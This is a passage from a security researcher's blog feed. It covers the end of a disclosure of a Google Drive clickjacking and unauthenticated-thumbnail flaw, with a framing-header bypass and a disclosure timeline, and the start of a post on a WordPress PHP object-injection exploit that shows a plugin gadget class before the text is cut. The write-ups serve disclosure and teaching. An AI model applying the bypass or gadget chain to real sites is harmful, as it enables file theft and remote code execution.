            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;serviceId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;DoclistBlob&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mimeType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/pdf&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;S3CR3T.pdf&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;document&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;lastEditedUtc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1379511652399&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;iconUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://ssl.gstatic.com/docs/doclist/images/icon_10_pdf_list.png&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://docs.google.com/file/d/0B2QAJJg95dkIRGxsSHd3YzRtbWc/edit?usp=drive_web&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;embedUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://docs.google.com/file/d/0B2QAJJg95dkIRGxsSHd3YzRtbWc/preview&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;thumbnails&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s32-c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;width&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;height&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s64-c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;width&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;height&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s72-c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;width&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;height&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://lh5.googleusercontent.com/_lA_uI9133tx7PJ-muQaNp1m6xLtGBPODp45BmQ1Lw6Z3jfLz4fl_u5FxEg3piN7OQ=s400&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sizeOnDisk&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;view&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;pdfs&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;l&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;g&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are two interesting pieces of data here: the name of a file and its thumbnails. One could argue that the name of a file is not that sensitive, but I’d rather not have a stranger going through the names of my files I stored on Google Drive. And what about thumbnails? An attacker can’t do anything with these as Google would only allow the owner (and the people the file is shared with) to view the thumbnail, right? &lt;del&gt;Right?!&lt;/del&gt;&lt;/p&gt;

&lt;h3 id=&quot;outta-control&quot;&gt;Outta Control&lt;/h3&gt;

&lt;p&gt;As you might have guessed, Google fails to verify whether a user is authorized to view the (sensitive) thumbnail. Hell, they even allow unauthenticated access to the thumbnail! At the time of writing, this is still not fixed. A thumbnail -actually a clear snapshot of the first page of the document, &lt;a href=&quot;/assets/img/lorem.pdf.png&quot;&gt;see example&lt;/a&gt; - for the selected pdf file is publicly available for 1-2 hours, allowing more than enough time for the attacker to download the file.&lt;/p&gt;

&lt;p&gt;OWASP names this type of vulnerability &lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References&quot;&gt;Insecure Direct Object References&lt;/a&gt;, and it comes as no surprise that it is listed at number 4 of the OWASP Top Ten for 2013, just after XSS.&lt;/p&gt;

&lt;p&gt;Interestingly, Google has been aware for quite some time that these thumbnails may be sensitive. On the &lt;a href=&quot;https://groups.google.com/forum/#!msg/google-picker-api/oEMugcVnlR4/mUB07oiml2AJ&quot;&gt;Google Picker API forums&lt;/a&gt;, Jon Emerson (Engineering Manager at Google) says:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[…]&lt;/p&gt;

  &lt;p&gt;I dug into this for you, and here’s what I found: The expiration &amp;amp; cookie enforcement is a deliberate choice by the Google Docs folks:&lt;/p&gt;

  &lt;p&gt;The thumbnails are technically resizable so you can get a 2048x2048 version of the document.  At that resolution, you can read the document, &lt;strong&gt;which would be really bad if it’s a private document you didn’t intend to share with people&lt;/strong&gt;.  To protect user’s security, we therefore restrict who can view thumbnails, and we also expire them in case cookies leak.&lt;/p&gt;

  &lt;p&gt;[…]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;He was only partially correct. Google does restrict who can view thumbnails, but that’s only the case for documents created by Google Drive (Document, Presentation, Spreadsheet, …). Looks like the previous comment in the thread, where a guy says the thumbnail only gives a 403 response on half of the files, did not ring a bell something was wrong.&lt;/p&gt;

&lt;p&gt;Also, &lt;a href=&quot;https://groups.google.com/d/msg/google-picker-api/SLH4QXPFwgo/BctTnE7GBDAJ&quot;&gt;according to Kuntal Loya&lt;/a&gt;, Software Engineer at Google, the thumbnails for Google Drive items would no longer be returned by Feb 7, 2013. That is more than one year ago.&lt;/p&gt;

&lt;p&gt;To make matters worse, when I first reported this vulnerability on September 18th, 2013, I soon got a reply that the issue I reported is a duplicate, which means that I’m not the first one who reported this. And as I found this vulnerability in a semi-automated way, I’m quite confident to say that for an attacker, finding this vulnerability is child’s play. This is the main reason that I’m publicly disclosing this vulnerability, in addition to &lt;a href=&quot;http://googleonlinesecurity.blogspot.be/2010/07/rebooting-responsible-disclosure-focus.html&quot;&gt;Google’s stance on responsible disclosure&lt;/a&gt;, which clearly states the following:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Whilst every bug is unique, we would suggest that 60 days is a reasonable upper bound for a genuinely critical issue in widely deployed software. This time scale is only meant to apply to critical issues.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;While this vulnerability may not be marked as “critical”, it is still quite serious in my opinion, given how easy it is for attackers to steal the contents of your private files. Even if Google didn’t manage to completely mitigate attacks in 4 months, at least they could have applied the correct authorization checks for thumbnails, or left out thumbnails completely as they said they would.&lt;/p&gt;

&lt;h3 id=&quot;what-up-gangsta&quot;&gt;What Up Gangsta&lt;/h3&gt;

&lt;p&gt;Above, I mentioned that it is easy for an attacker to steal the sensitive data. You don’t have to hold my word on it, just see for yourself in this &lt;a href=&quot;https://www.youtube.com/watch?v=BMCFcJ_W6Ec&quot;&gt;YouTube video&lt;/a&gt; I made when I initially reported the vulnerability to Google. In order to prevent giving script-kiddies all information required to set up their own ClickJacking page, I will not disclose the source code of the PoC until Google fixes this vulnerability.&lt;/p&gt;

&lt;p&gt;The Google Picker API actually allows you to do a bunch of things, so I created another PoC which is more appealing to the creeps who are reading this. In case a user previously allowed &lt;code&gt;drive.google.com&lt;/code&gt; access to his webcam, the user can now be targeted in a ClickJacking attack, which will activate the camera, record a movie, store it to Google Drive, and send a “thumbnail” to the attacker (again, this thumbnail is publicly available). You can view the PoC on &lt;a href=&quot;https://www.youtube.com/watch?v=nkMFqeFFR9o&quot;&gt;YouTube&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;places-to-go&quot;&gt;Places To Go&lt;/h3&gt;

&lt;p&gt;I’ve shown you in detail the cause and consequences of this vulnerability, now I’ll discuss how it can be mitigated. Google has taken some “steps” already: the Google Picker page will now send out the &lt;code&gt;X-Frame-Options&lt;/code&gt; header with the value &lt;code&gt;DENY&lt;/code&gt;. A workaround for this is quite easy: adding &lt;code&gt;&amp;amp;origin=http://example.com&lt;/code&gt; to the URL. When this parameter is defined, the Google Picker page will send out &lt;code&gt;X-Frame-Options: ALLOW-FROM http://example.com&lt;/code&gt;. My assumption here is that Google did this to keep track of hosts that (ab)use the Google Picker API. However, as some popular browsers (Chrome, Safari, Opera) don’t recognize the &lt;code&gt;ALLOW-FROM&lt;/code&gt; directive, the value for the &lt;code&gt;origin&lt;/code&gt; parameter can be random if the attacker doesn’t care about Firefox users.&lt;/p&gt;

&lt;p&gt;There’s still a lot needed to get to a secure solution. The shift to require OAuth for authentication is a first step in the right direction, but as long as this is not enforced, it solves nothing. On Google Picker API forums, Kuntal Loya &lt;a href=&quot;https://groups.google.com/d/msg/google-picker-api/gN98MUGl4Jg/dQhE3vtycHAJ&quot;&gt;posted&lt;/a&gt; that by January 15th, 2014, Google Picker would stop working without an OAuth token. In the meanwhile, this has been postponed to April 15th, 2014. My assumption here is that some part of the Google Picker API is not completely compatible with OAuth yet, and Google favors availability over security. Given that millions of people have (sensitive) data hosted on Google Drive, while only tens/hundreds (based on the activity in Google Picker API forums) rely on the availability of the tool, I do not agree with this choice. Of course, I’m not a Google Employee so I’m unaware of any additional issues this shift might bring along.&lt;/p&gt;

&lt;p&gt;Despite the difficulties of the shift towards OAuth, Google should’ve at least enforced authorization for thumbnails (or left out the thumbnails altogether) by now. They do it for “Google Drive documents”, why not do it for the rest of the files as well, it would certainly stop most hustlers!&lt;/p&gt;

&lt;h3 id=&quot;funny-how-time-flies&quot;&gt;Funny How Time Flies&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;September 18, 2013:&lt;/strong&gt; Initial report sent to Google&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;September 19, 2013:&lt;/strong&gt; Response from Google with notification that the report issue is a duplicate, and that they “expect a fix to be forthcoming”&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 1, 2013:&lt;/strong&gt; Initial “fix”, requiring the &lt;code&gt;origin&lt;/code&gt; parameter&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;December 9, 2013:&lt;/strong&gt; Date to require OAuth set to January 15, 2014&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 3, 2014:&lt;/strong&gt; Wrote this blog post, and notified Google&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 3, 2014:&lt;/strong&gt; Date to require OAuth delayed to April 15, 2014&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 18, 2014:&lt;/strong&gt; Publicly disclosed vulnerability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Previously, the public disclosure of &lt;a href=&quot;/2013/09/google-scholar-email-html-injection/&quot;&gt;a vulnerability I found in Google Scholar&lt;/a&gt;, resulted in a fix within one day. Although fixing the current issue seems to be more complex, I do hope that by publicly disclosing this information, it will considerably speed up the process. Given that the issue can be found in a semi-automated fashion, no steps were made to prevent unauthorized access to “thumbnails”, this vulnerability exists for at least 5 months, and that an actual fix has been postponed for 4 months, a fix is required sooner rather than later for this &lt;em&gt;Sword of Damocles&lt;/em&gt;. For the time being, you may want to make sure that no sensitive information may leak through “thumbnails” of your files hosted by Google.&lt;/p&gt;

&lt;p&gt;If you have remarks, or additional questions, feel free to contact me on &lt;a href=&quot;https://twitter.com/tomvangoethem&quot;&gt;Twitter&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UPDATE (February 20, 2014):&lt;/strong&gt; Google has added a temporary mitigation by requiring OAuth for most origins. Although there are still a few exceptions, such as &lt;code&gt;.google.com&lt;/code&gt; domains, this fix makes the vulnerability definitely harder to exploit.&lt;/p&gt;

&lt;!--

    References: 

    Get Rich Or Die Tryin' (full album): http://www.youtube.com/watch?v=kx0yw_xU_nM
    Candy Shop: http://www.youtube.com/watch?v=SRcnnId15BA
    Hustler's Ambition: https://www.youtube.com/watch?v=K3AiAem9JLQ
    Window Shopper: http://www.youtube.com/watch?v=bFLow5StvvU
    Outta Control: http://www.youtube.com/watch?v=XAJcK_ZhPPA
    What Up Gangsta: http://www.youtube.com/watch?v=Atp49TyK-Dc
    Places To Go: http://www.youtube.com/watch?v=S8l4t7oL0xU
    Funny How Time Flies: http://www.youtube.com/watch?v=kfBp3F74vR0

--&gt;</content><author><name>Tom Van Goethem</name></author><category term="Google" /><category term="Security" /><category term="ClickJacking" /><category term="postMessage" /><category term="Authorization" /><summary type="html">This blog post reports on a ClickJacking vulnerability in Google Drive, which has not been fixed in more than 5 months. I will discuss how this vulnerability was discovered in a semi-automated fashion, what caused the vulnerability and how Google should/could have fixed it. In an attempt to live up to Mr. Curtis “50 Cent” Jackson’s life guidance (Get Rich Or Die Tryin’), I wanted to come up with something that automated much of the checks I did when hunting bugs manually. One of these checks is to verify whether web pages send out the correct security headers. A header that should be on every web page containing a form which initiates a state-change, is X-Frame-Options. By sending out this header on a web page, a website operator can protect his users against ClickJacking vulnerabilities. NOTE: X-Frame-Options is not the only mechanism to protect against ClickJacking, the frame-ancestors directive of CSP does this as well.</summary></entry><entry><title type="html">Remote Code Execution exploit in WordPress 3.5.1</title><link href="https://tom.vg//2013/12/wordpress-rce-exploit/" rel="alternate" type="text/html" title="Remote Code Execution exploit in WordPress 3.5.1" /><published>2013-12-09T00:00:00+01:00</published><updated>2013-12-09T00:00:00+01:00</updated><id>https://tom.vg//2013/12/wordpress-rce-exploit</id><content type="html" xml:base="https://tom.vg//2013/12/wordpress-rce-exploit/">&lt;p&gt;Some time ago, I published a &lt;a href=&quot;/2013/09/wordpress-php-object-injection/&quot;&gt;blog post describing a PHP Object Injection vulnerability I found in WordPress&lt;/a&gt;. At that time, I consciously did not include instructions of how this vulnerability could be exploited. Now, almost three months after the public disclosure of the vulnerability, website administrators have had a reasonable amount of time to update their WordPress installations in order to be secure. Hence, I feel that disclosing an example exploit is acceptable, and will hopefully raise awareness with website administrators that updating (vulnerable) web frameworks is crucial.&lt;/p&gt;

&lt;h3 id=&quot;recap&quot;&gt;Recap&lt;/h3&gt;

&lt;p&gt;The vulnerability I found in WordPress allowed user-generated content to be passed to PHP’s &lt;code&gt;unserialize()&lt;/code&gt; function. This allows an attacker to initialize objects of his choosing, given that the file containing the class definition for the object is included at the time the &lt;code&gt;unserialize()&lt;/code&gt; function is called.
Furthermore, the attacker can also control the values for the attributes of the initialized object.
Except for the initialization of an arbitrary object, an attacker is left with his creativity to make the initialized object do something “special”. This is possible because of PHP’s magic methods. For instance, when an object is unserialized, the object’s &lt;code&gt;__wakeup()&lt;/code&gt; magic method is called.
Later, when the object has fulfilled its duties and gets destructed, the &lt;code&gt;__destruct()&lt;/code&gt; method is called.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h3 id=&quot;o-exploit-where-art-thou&quot;&gt;O Exploit, Where Art Thou?&lt;/h3&gt;

&lt;p&gt;As you may have read in my previous post, there were three different magic methods an attacker could use to exploit a WordPress installation, namely &lt;code&gt;__destruct()&lt;/code&gt;, &lt;code&gt;__wakeup()&lt;/code&gt; and &lt;code&gt;__toString()&lt;/code&gt;. The latter is called when PHP requests a string representation of the object, for example when the object is &lt;code&gt;echo&lt;/code&gt;ed to a web page.
In my quest for a working exploit I inspected all WordPress classes that had one of these magic methods. However, I was unable to find one which could lead to a useful exploit. &lt;em&gt;(Side note: if you did manage to find such a class in the WordPress core, I would certainly like to hear about it!)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now, does this mean that the vulnerability is unexploitable? Of course not, otherwise you wouldn’t be reading this article :-). One of the most popular features about WordPress is that it allows plugins and templates, which are developed by third parties, to be installed. At the time of this writing, WordPress lists 28,358 &lt;a href=&quot;http://wordpress.org/plugins/&quot;&gt;plugins&lt;/a&gt;, with over 560 million downloads. These plugins allow you to do “anything you can imagine”. Next to the plugins, there are also 2,155 &lt;a href=&quot;http://wordpress.org/themes/&quot;&gt;themes&lt;/a&gt; available, which were downloaded more than 86 million times.&lt;/p&gt;

&lt;p&gt;Since I was searching for a class with a “useful” magic method implementation, I decided to take my chances with plugins. For obvious reasons, I started looking in the most popular plugins, and worked my way down. After a quite hard process of going through several plugins, I finally found one that had a class containing an “interesting” &lt;code&gt;__toString()&lt;/code&gt; definition. This plugin is called &lt;em&gt;Lightbox Plus ColorBox&lt;/em&gt;.&lt;/p&gt;

&lt;h3 id=&quot;exploit-time&quot;&gt;Exploit time&lt;/h3&gt;

&lt;p&gt;The class of interest in the &lt;em&gt;Lightbox Plus ColorBox&lt;/em&gt; plugin is located in the &lt;code&gt;/classes/shd.class.php&lt;/code&gt; file, more precisely in the definition of the &lt;code&gt;simple_html_dom_node&lt;/code&gt; class. This is what it looks like:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;simple_html_dom_node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	
	&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;outertext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;outertext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
	    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;dom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;dom&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	        &lt;span class=&quot;nb&quot;&gt;call_user_func_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;dom&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	    &lt;span class=&quot;c1&quot;&gt;// ... &lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;For those unfamiliar with PHP, &lt;a href=&quot;http://www.php.net/manual/en/function.call-user-func-array.php&quot;&gt;look up &lt;code&gt;call_user_func_array()&lt;/code&gt;&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

